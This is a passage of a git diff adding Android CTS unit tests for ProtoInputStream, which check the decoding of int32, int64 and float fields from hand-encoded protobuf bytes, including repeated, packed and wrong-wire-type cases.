+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x04,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readFloat(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readFloat(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed floats)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readFloat(FIELD_ID_6);
+ // don't fail, fixed32 is ok
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java
new file mode 100644
index 0000000..5e86e3c
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt32Test.java
@@ -0,0 +1,564 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamInt32Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+ final long FIELD_ID = fieldFlags | ((long) 30 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int32Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int32Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[0]);
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+ final long FIELD_ID = fieldFlags | ((long) 31 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int32FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int32FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.int32FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_INT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x32,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 4 -> MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 5 -> MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new int[0]);
+ testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT32;
+ final long FIELD_ID = fieldFlags | ((long) 32 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int32FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int32FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.int32FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed int32)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java
new file mode 100644
index 0000000..caa8b2af
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamInt64Test.java
@@ -0,0 +1,644 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamInt64Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 8 -> Long.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[] results = new long[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ assertEquals(Long.MIN_VALUE, results[5]);
+ assertEquals(Long.MAX_VALUE, results[6]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ testReadCompat(Long.MIN_VALUE);
+ testReadCompat(Long.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(long val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_INT64;
+ final long FIELD_ID = fieldFlags | ((long) 40 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.int64Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.int64Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_INT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
